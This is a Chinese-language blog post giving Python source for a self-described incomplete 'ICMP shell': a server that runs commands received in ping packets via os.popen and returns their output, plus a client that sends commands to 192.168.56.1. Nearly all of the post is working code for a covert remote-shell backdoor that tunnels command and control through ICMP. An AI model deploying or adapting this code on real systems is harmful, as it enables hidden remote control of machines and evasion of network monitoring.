首页 > 系统相关 >python | 一个简单的icmp shell实现(不完善)

python | 一个简单的icmp shell实现(不完善)

时间:2022-12-03 10:55:45浏览次数:43  
标签:shell socket python sum packet icmp data pack

python | 一个简单的icmp shell实现(不完善)

一个是server端,一个是cilent端,其实问题还是很多的,尤其是在真实网络中的时候,这个shell只适用于直连的情况,并且data不能太大(因为icmp的限制)
如果之后有空的话,可能会完善一下,目标是尽量建立在不需要更改系统配置的情况下去完成(但是由于NAT存在所以还是挺困难的,哎)

server:

import struct
import socket
import os
import array

def inCksum(packet):
    if len(packet) & 1:
        packet = packet + b'\0'
    words = array.array('h', packet)
    sum = 0
    for word in words:
        sum += (word & 0xffff)
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    return (~sum) & 0xffff
   
def get_icmp_pack(data):
	header = struct.pack('bbHHh', 8, 0, 0, 12345, 0)  # 创建头部
	data = data.encode('utf-8')
	packet = header + data
	chkSum = inCksum(packet)
	header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
	icmp_pack = header + data
	return icmp_pack
    
# 建立一个icmp服务器并循环监听
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
s.bind(("0.0.0.0", 0))

while True:
	# 接收的问题解决了,问题是如何回显呢
	recv_packet, addr = s.recvfrom(1024)
	# linux上和windows上收到的包好像不太一样md
	if b'Mz' in recv_packet:
		print(f"收到来自: {addr}")
		type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息
		print("头部信息:", type, code, checksum, packet_ID, sequence)
		data = recv_packet[recv_packet.index(b'Mz')+2:]
		print("收到数据:",end='')
		print(data)
		# 执行命令
		ret = os.popen(data.decode()).read()
		print(ret)
		_pack = get_icmp_pack(ret)
		s.sendto(_pack, addr)
	

cilent:

import array
import socket
import struct
import time


def inCksum(packet):
    if len(packet) & 1:
        packet = packet + b'\0'
    words = array.array('h', packet)
    sum = 0
    for word in words:
        sum += (word & 0xffff)
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    return (~sum) & 0xffff


def get_icmp_pack(data):
	header = struct.pack('bbHHh', 8, 0, 0, 12345, 0)  # 创建头部
	data = b"Mz"+data.encode('utf-8')
	packet = header + data
	chkSum = inCksum(packet)
	header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
	icmp_pack = header + data
	return icmp_pack
	
while 1:
	cmd = input("$ ")
	icmp_pack = get_icmp_pack(cmd)
	Sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
	Sock.sendto(icmp_pack , ("192.168.56.1", 0))

	recv_packet, addr = Sock.recvfrom(1024)
	type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息

	# 第一次的回包是系统回的
	# print("头部信息:", type, code, checksum, packet_ID, sequence)
	data = recv_packet[28:]
	# print(data)

	recv_packet, addr = Sock.recvfrom(1024)
	type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息

	# print("头部信息:", type, code, checksum, packet_ID, sequence)
	data = recv_packet[28:]
	print(data)

标签:shell,socket,python,sum,packet,icmp,data,pack
From: https://www.cnblogs.com/Mz1-rc/p/16947140.html

相关文章

  • python:一个pygame篮球自动弹跳
    一个pygame篮球自动弹跳代码:importsysimportpygamepygame.init()size=width,height=640,480screen=pygame.display.set_mode(size)color=(0,0,0)bal......
  • Python实验报告
    实验13:Pygame游戏编程一、实验目的和要求学会Pygame的基本应用二、Pygame的优点及应用  使用Python进行游戏开发的首选模块就是Pygame,专为电子游戏设计(包括图像、......
  • Python笔记-多进程多线程
    日常运维中,经常需要并发来提升工作效率。Python提供了多线程和多进程两种方式。importtimeimportthreadingimportmultiprocessingdefprint_fun(num):print(time.str......
  • Python笔记-脚本参数传递
    编写Python脚本,经常需要从外部传递参数,此时需要用到getopt和sys。语法如下:getopt.getopt(args,shortopts,longopts=[])args参数列表shortopts短参数,如:-hlongopt......
  • Python笔记-Python2和Python3兼容
    Python2与Python3在很数据类型、语法上面都有很大区别。为保证编写的脚本在Python2和Python3下兼容,需要在代码中做版本判断。示例代码如下:importsyspversion=int(s......
  • Python笔记-从配置读取参数
    实用的脚步通常需要一些动态参数,如果参数太多,从命令行传递就太麻烦了。从配置文件读取,是比较实用的方法。以下示例为从test.cfg中读取参数,配置文件为json格式。配置文件......
  • shell实现的进度条
    ​​具体脚本如下progressbar.sh​​:#TheMITLicense(MIT)#Copyright(c)2014HaiKieu#Permissionisherebygranted,freeofcharge,toanypersonobtainingacop......
  • Python 让图像变卡通图
    ✅作者简介:热爱科研的算法开发者,Python、Matlab项目可交流、沟通、学习。......
  • python解析yaml文件
    1、初始化yaml文件的目录def__init__(self):self.yaml_root_path='D:\\Code\\PythonProject\\UIAutoProject\\config\\yaml\\'2、读取yaml文件的方法defread_......
  • Python遍历某个文件夹下的所有文件夹,每个文件夹只保留最新7个文件
    importosroot=r"D:\_back"fordirpath,dirnames,filenamesinos.walk(root):fordirnameindirnames:_dir=os.path.join(dirpath,dirname)......